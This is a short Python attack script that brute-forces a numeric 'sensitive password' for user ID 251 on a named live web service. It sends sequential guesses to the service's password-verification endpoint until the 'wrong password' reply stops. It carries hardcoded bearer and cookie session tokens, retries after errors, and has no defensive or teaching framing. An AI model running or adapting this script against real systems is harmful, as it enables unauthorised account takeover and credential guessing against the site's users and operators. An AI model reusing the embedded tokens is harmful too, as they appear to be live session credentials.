import requests import time url = "https://cppaidan.com/paidanserv/system/user/verifySensitivePassword" headers = { "accept": "application/json, text/plain, */*", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7", "authorization": "Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImM0MjQ0ZWFhLWM0MDktNGRmYS04NTk5LTk5NGQ5N2FmODQ1NyJ9.uPEKT90Q2QGQeWqz5Y3-TUCapP4-UChKqkcxVS6FgkIdGSa8PYLadEOMiC0OSL2hVRTx54ZL-6SjfVrpoiUWxA", "cookie": "Admin-Paidan-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6Ijk3OWE1YWVkLWZjYTctNDY1Zi1iMmU2LTE1ZjdhZDkyY2NmNCJ9.9RwvxQdkbCWs4K_4CXuyO3OW6Uh42NR03zkz7r-ugc3lvyxvUzdtToug2BqqtdvO0lh6t4hHKgUn3S8QbY21uw", "referer": "https://cppaidan.com/paidan/system/user" } password = 10303 while password < 1000000: try: response = requests.post( url, headers=headers, json={"userId": 251, "sensitivePassword": str(password)}, timeout=3 ) data = response.json() print(password) if not (data.get("code") == 500 and data.get("msg") == "密码错误"): print(data) break password += 1 except Exception as e: print(f"错误: {e},重试密码: {password}") time.sleep(1) # 错误后等待1秒再重试